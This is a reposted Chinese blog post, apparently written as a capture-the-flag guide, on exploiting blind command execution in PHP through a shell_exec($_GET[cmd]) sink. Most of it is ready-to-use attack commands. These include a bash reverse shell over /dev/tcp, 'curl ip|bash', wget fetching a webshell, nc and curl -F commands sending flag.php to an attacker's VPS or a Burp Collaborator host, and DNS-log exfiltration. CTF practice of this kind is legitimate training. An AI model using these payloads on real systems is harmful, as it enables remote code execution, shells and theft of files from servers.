0


[CTF]命令执行无回显利用

背景

exec,shell_exec

等函数可以执行命令但没有回显,我们需要寻找方法来得到命令执行后的结果

<?phphighlight__file(__FILE__)shell_exec($_GET[cmd]);?>

判断命令是否执行

延时

利用sleep函数

cmd=ls|sleep 5

HTTP请求

目标主机通过向VPS发起

HTTP

请求,VPS监听到请求则代表命令执行成功(注意:

ping

命令不产生http请求)

VPS:

nc -lvp 8888

目标主机:

cmd=curl ip:8888

DNS请求

利用dnslog

利用方式

直接写入

利用cp命令:

cp flag.php 1.txt

利用mv命令:

mv flag.php 1.txt

利用

>

输出结果到文件:

ls > 1.txt

利用wget下载:

wget http://ip/shell.txt > shell.php

或者

wget http://ip/shell.txt -O shell.php

反弹shell

bash反弹

目标主机:

bash -i >& /dev/tcp/ip/8888 0>&1

VPS:

nc -lvp 8888

也可以将命令写入文件,之后在存在命令执行的地方输入

curl ip|bash

即可反弹

外带数据

使用ceye或者dnslog

cmd=curl `命令`.域名

nc外带

目标主机:nc ip 8888 < flag.php
VPS:nc -lvp 8888

当tcp不能使用,

-u

参数调整为udp

目标主机:nc -u ip 8888 < flag.php
VPS:nc -ulvp 8888

burp(Collaborator Client)

使用curl -F将flag文件上传到Burp的Collaborator Client(Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看POST请求包以及打Cookies)(

-X

指定发送一个POST请求,

-F

指定要发送的文件)

获取Collaborator Client分配给BURP的链接:

打开Burp主界面 -->菜单(Burp)-->Burp Collaboraor Client -- > 点击 Copy to Clipboard

目标主机:

cmd=curl -X POST -F [email protected] http://jj6xpgxristzkbn1fpkl32t6jxpndc.burpcollaborator.net

image-20220221013752788

参考:

https://blog.csdn.net/weixin_33164837/article/details/112421828

https://h0ld1rs.github.io/2021/06/24/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%97%A0%E5%9B%9E%E6%98%BE/#burp-Collaborator-Client

标签: php 安全 web安全

本文转载自: https://blog.csdn.net/cosmoslin/article/details/123039067
版权归原作者 Snakin_ya 所有, 如有侵权,请联系我们删除。

“[CTF]命令执行无回显利用”的评论:

还没有评论